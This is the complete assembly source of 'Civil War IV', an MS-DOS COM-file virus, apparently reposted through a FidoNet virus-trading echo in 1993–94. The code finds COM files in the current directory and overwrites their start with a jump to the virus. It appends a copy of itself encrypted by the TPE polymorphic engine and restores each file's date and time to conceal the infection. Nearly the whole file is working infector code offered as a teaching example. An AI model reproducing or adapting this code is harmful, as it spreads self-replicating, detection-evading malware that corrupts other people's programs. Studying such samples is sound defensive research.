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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir36.asm

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2021-01-13 00:07:35 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 26 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:13
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : CIVIL411.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Dr T , 2:283/718 (06 Nov 94 16:48)
;* To : Mike Nisbett
;* Subj : CIVIL411.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Dr.T.@f718.n283.z2.fidonet.org
;****************************************************************************
;* Civil War IV v1.1 (minor bugfix version) *
;* *
;* Assembled with Tasm 2.5 *
;* *
;* (c) 08-01-93 Dark Helmet, The Netherlands. *
;* The author takes no responsibilty for any damages caused by the virus *
;* *
;* This is a example virus with the TPE engine to teach you how to use *
;* the TPE engine. *
;* *
;*--------------------------------------------------------------------------*
;* *
;* Notes: *
;* *
;* This virus is NOT dedicated to Sara Gordon, but to all the innocent *
;* people who are killed in Yugoslavia. *
;* *
;* The text in the virus is taken from the song Civil War (hence the name) *
;* by Guns and Roses, Use Your Illusion II, we hope they don't mind it. *
;* *
;* The first name for the virus was NAVIGATOR II, because the virus is *
;* based on the NAVIGATOR virus (also written by me, a while back), but *
;* since I decided to put the songtext in it I renamed it to Civil War IV *
;* *
;* You need the TPE 1.3 engine to link this program. * *
;* *
;****************************************************************************
.model tiny
.radix 16
.code
extrn rnd_init:near
extrn rnd_get:near
extrn crypt:near
extrn tpe_top:near
org 100h
len equ offset tpe_top - begin
Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h
Begin: call virus ; calculate delta offset
Virus: pop bp
sub bp,offset virus
mov dx,0fe00h ; DTA instellen
mov ah,1ah
int 21h
Restore_begin: call rnd_init ; init random generator
mov di,0100h
lea si,ds:[buffer+bp]
mov cx,06h
rep movsb
First: lea dx,[com_mask+bp] ;get first COM file
mov ah,04eh
xor cx,cx
int 21h
Open_file: mov ax,03d02h ;open for READ/WRITE
mov dx,0fe1eh
int 21h
mov [handle+bp],ax
xchg ax,bx
Read_date: mov ax,05700h ;store date/time for later
int 21h ;use
mov [date+bp],dx
mov [time+bp],cx
Check_infect: mov bx,[handle+bp] ;check if initials present in
mov ah,03fh ;file
mov cx,06h
lea dx,[buffer+bp]
int 21h
mov al,byte ptr [buffer+bp]+3 ;Compare initials
mov ah,byte ptr [buffer+bp]+4
cmp ax,[initials+bp]
jne infect_file ;if initials not present
;start infecting file
Close_file: mov bx,[handle+bp] ;close file
mov ah,3eh
int 21h
Next_file: mov ah,4fh ;get next COM file
int 21h ;in directorie
jnb open_file
jmp exit
Infect_file: mov ax,word ptr [cs:0fe1ah] ;get lenght of file
sub ax,03h
mov [lenght+bp],ax
mov ax,04200h ;goto begin of file
call move_pointer
Write_jump: mov ah,40h ;Write JUMP intruction
mov cx,01h
lea dx,[jump+bp]
int 21h
mov ah,40h ;Write JUMP offset
mov cx,02h
lea dx,[lenght+bp]
int 21h
mov ah,40 ;Write initials to check
mov cx,02h ;for infection later
lea dx,[initials+bp]
int 21h
mov ax,4202h ; move to end of file
call move_pointer ; for infection
;*****************************************************************************
; T P E *
;*****************************************************************************
Encrypt: push bp ; BP = delta offset
; push delta offset on stack
; for later use.
mov ax,cs ; Calculate worksegment
add ax,01000h
mov es,ax ; ES point to decrypt virus
lea dx,[begin+bp] ; DS:DX begin encryption
mov cx,len ; virus lenght
mov bp,[lenght+bp] ; decryption starts at this
add bp,103h ; point
xor si,si ; distance between decryptor
; and encrypted code is 0 bytes
call rnd_get ; AX = random value
call crypt ; encrypt virus
pop bp ; BP = delta offset
; get delta offset of stack
;******************************************************************************
; T P E - E N D *
;******************************************************************************
Write_virus: mov bx,[handle+bp]
mov ah,40h
int 21h
Restore_date: mov ax,05701h
mov bx,[handle+bp]
mov cx,[time+bp]
mov dx,[date+bp]
int 21h
Exit: mov ax,cs
mov ds,ax
mov es,ax
mov bx,0100h ; jump to start program
jmp bx
;----------------------------------------------------------------------------
move_pointer: mov bx,[handle+bp]
xor cx,cx
xor dx,dx
int 21h
ret
;----------------------------------------------------------------------------
v_name db "Civil War IV v1.1, (c) Jan '93 "
com_mask db "*.com",0
handle dw ?
date dw ?
time dw ?
buffer db 090h,0cdh,020h,044h,048h,00h
initials dw 4844h
lenght dw ?
jump db 0e9h,0
message db "For all i've seen has changed my mind"
db "But still the wars go on as the years go by"
db "With no love of God or human rights"
db "'Cause all these dreams are swept aside"
db "By bloody hands of the hypnotized"
db "Who carry the cross of homicide"
db "And history bears the scars of our Civil Wars."
writer db "[ DH / TridenT ]",00
end dummy
;-+- PPoint 1.86
; + Origin: - = [ Brainstorm BBS ++31 (0)20-6108189 ] = - (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;/yx Extended memory swapping
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
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